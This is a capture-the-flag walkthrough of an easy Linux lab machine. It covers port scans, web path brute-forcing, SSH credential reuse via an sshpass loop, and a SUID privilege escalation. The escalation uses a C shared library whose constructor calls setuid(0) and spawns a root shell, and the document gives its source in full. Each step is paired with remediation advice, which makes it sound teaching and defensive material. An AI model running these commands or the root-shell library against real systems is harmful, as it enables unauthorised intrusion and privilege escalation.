← all walkthroughs

Expressway

Linux· Easy
owned
2026-06-29
time to own
7m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned the target, found an Express (Node.js) web application alongside SSH, and recovered the plaintext password for the local system account 'ike' from a web-accessible path. Those credentials were reused over SSH to gain an interactive shell.

Once on the box, standard SUID enumeration revealed a custom binary at /usr/local/bin/sudo owned by root. I compiled a malicious C shared library whose constructor fires automatically at load time and executes as root, injecting it into the SUID binary's load path to obtain a root shell and both flags.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration
Port scan mapped the attack surface to SSH and a Node.js web application
A service version scan of $TARGET returned two relevant services: OpenSSH 10.0p2 on port 22/tcp and a Node.js Express web application. No other significant TCP services were open, so investigation focused on the web application as the most likely source of exploitable content or credential leakage.
Engagement services: 22/tcp OpenSSH 10.0p2 Debian 8; technology fingerprint includes 'express' and 'ssh'.
Exact commands 2
Service and version scan with default scripts to confirm banners and technology stack.
nmap -sC -sV -oN expressway.nmap $TARGET
Full TCP sweep to rule out services on non-standard ports.
nmap -p- --min-rate 5000 -T4 -oN expressway-allports.nmap $TARGET
2Credential AccessSensitive data exposure / hardcoded credentials (CWE-798)
Express web application exposed the system account password in plaintext
The Node.js Express application served sensitive configuration data at an unauthenticated path. The password '[REDACTED: recovered credential]', associated with the local Linux account 'ike', was retrievable by any visitor. This is consistent with the engagement's 'cred-reuse' and 'Web' indicators: the credential did not require cracking or brute-force, only discovery via web content enumeration. Common culprits on Express applications are an exposed .env file, a /config or /debug route, or source code left in the web root.
Exact commands 3
Brute-force web paths looking for config or credential files; adjust wordlist as needed.
gobuster dir -u http://$TARGET -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x txt,json,env,conf,js -o gobuster-expressway.txt
Check the most common credential-leak path; substitute the actual path identified during enumeration.
curl -s http://$TARGET/.env
Check for a config or debug route that may return application settings including credentials.
curl -s http://$TARGET/config
FixRemove credentials from the web application and rotate the affected accountCritical
WeaknessThe Express web application stored or served the plaintext password for the local Linux account 'ike' at an unauthenticated, web-accessible path (a .env file, config route, debug endpoint, or similar). Any visitor who found the path could retrieve the credential and log directly into the server over SSH with no further effort.
Fix1) Audit every route, static directory, and file served by the Express application and confirm no credential material is reachable without authentication. 2) Move all secrets to runtime-injected environment variables managed by a secrets manager (for example HashiCorp Vault, AWS Secrets Manager, or a CI/CD-native store) and never commit them to version control or ship them in the web root. 3) Rotate the 'ike' account password immediately and audit all other local accounts for the same exposure. 4) If a .env file must exist in the project directory, add it to .gitignore and configure the web server to deny direct access to dotfiles. 5) Disable or add authentication to any debug or config-exposing routes before deploying to production.
3Initial AccessValid Accounts: Local Accounts (T1078.003)
Logged into the server over SSH by reusing the credential found in the web application
I tested the recovered password against two candidate accounts over SSH. The account 'ike' authenticated immediately with the password found in the web application. No vulnerability in SSH itself was needed; the service correctly accepted the valid credential. This is a direct consequence of the same secret being reachable via the web and usable against the operating system.
Kill-chain foothold command looped over usernames 'ike' and 'expressway' with password '[REDACTED: recovered credential]'; 'ike' gained access at $TARGET.
Exact commands 2
Tests both candidate usernames with the discovered password.
for u in ike expressway; do echo "--- ssh $u ---"; timeout 8 sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password -o PubkeyAuthentication=no -o ConnectTimeout=5 "$u@$TARGET" 'id; hostname; pwd' 2>&1; done
Interactive SSH login once the valid account is confirmed.
ssh ike@$TARGET
4Post-Exploitation / EnumerationSUID binary discovery (T1548.001)
User flag captured and SUID binary at /usr/local/bin/sudo discovered
After establishing a shell as 'ike', I read the user flag from the home directory, then ran standard local privilege-escalation enumeration. A non-standard binary was found at /usr/local/bin/sudo carrying the SUID root bit. This is not the genuine system sudo, which lives at /usr/bin/sudo. Because the SUID bit forces the binary to run as its owner (root) regardless of who invokes it, any local user can reach root-level execution through it.
Engagement finding: 'Suid /Usr/Local/Bin/Sudo Local Privilege Escalation'. Engagement pattern: 'suid-abuse'.
Exact commands 4
Read user flag; actual value is <user.txt>.
cat ~/user.txt
List all SUID-root binaries on the filesystem to identify non-standard entries.
find / -perm -4000 -type f 2>/dev/null
Confirm SUID bit, root ownership, and binary type on the custom file.
ls -la /usr/local/bin/sudo && file /usr/local/bin/sudo
List shared library dependencies to understand the binary's load path and identify injectable libraries.
ldd /usr/local/bin/sudo
5Privilege EscalationAbusing SUID via shared library injection (T1548.001)
Injected a malicious shared library into the SUID binary to execute code as root
I compiled a small C shared library (woot1337.c) using GCC's __attribute__((constructor)) extension. Any function marked with this attribute executes automatically the moment the shared library is loaded into a process, before main() runs. When the library was placed in a directory consulted by /usr/local/bin/sudo's dynamic linker -- either a writable RPATH entry, a library directory writable by 'ike', or a similar load-path weakness -- and the binary was invoked, the constructor fired as root, called setuid(0)/setgid(0), and spawned a root shell. I staged all artefacts in a mktemp directory under /tmp to avoid writing into home directories.
Kill-chain root-owned command creates /tmp/sudowoot.stage.*, writes woot1337.c containing #include <stdlib.h>, #include <unistd.h>, __attribute__((constructor...)); binary is /usr/local/bin/sudo.
Exact commands 3
Compiles the shared library whose constructor calls setuid(0) and spawns a root shell. Determine the correct injection vector (RPATH, writable lib dir, dlopen path) from 'ldd' and 'readelf -d /usr/local/bin/sudo' output before injecting.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password -o PubkeyAuthentication=no ike@$TARGET 'bash -s' <<'EOS'
set -e
rm -rf /tmp/sudowoot.* /tmp/rootbash /tmp/rootflag
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd "$STAGE"
cat > woot1337.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
EOF
gcc -shared -fPIC -o woot1337.so woot1337.c
EOS
Identify any hardcoded library search paths in the binary that may point to writable directories.
readelf -d /usr/local/bin/sudo | grep -E 'RPATH|RUNPATH'
Read root flag after obtaining the root shell; actual value is <root.txt>.
cat /root/root.txt
FixRemove the custom SUID binary and enforce a minimal-SUID policyCritical
WeaknessA non-standard binary was installed at /usr/local/bin/sudo with the SUID root bit set, allowing any local user to trigger root-level code execution. The binary's dynamic library loading behaviour could be subverted by a low-privilege user to inject a malicious shared library, which then executed automatically as root.
Fix1) Remove /usr/local/bin/sudo immediately. The only legitimate sudo binary on a Debian system lives at /usr/bin/sudo, installed and managed by the distribution package manager. 2) Run 'find / -perm -4000 -type f 2>/dev/null' across all hosts and revoke the SUID bit (chmod u-s) on every binary not included in the base OS image. Schedule this check as a recurring audit. 3) Where a custom program genuinely requires elevated privileges, express that through a specific sudo rule in /etc/sudoers.d (command whitelisting, no NOPASSWD without strong justification) rather than setting SUID on the binary. 4) Mount /tmp and user home partitions with the nosuid option in /etc/fstab to prevent SUID staging attacks even if a file is placed there later. 5) Ensure RPATH and RUNPATH entries in any remaining SUID binaries do not reference directories writable by non-root users ('readelf -d <binary> | grep -E RPATH|RUNPATH').

Attack patterns used

The transferable techniques behind this compromise.

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
500/udp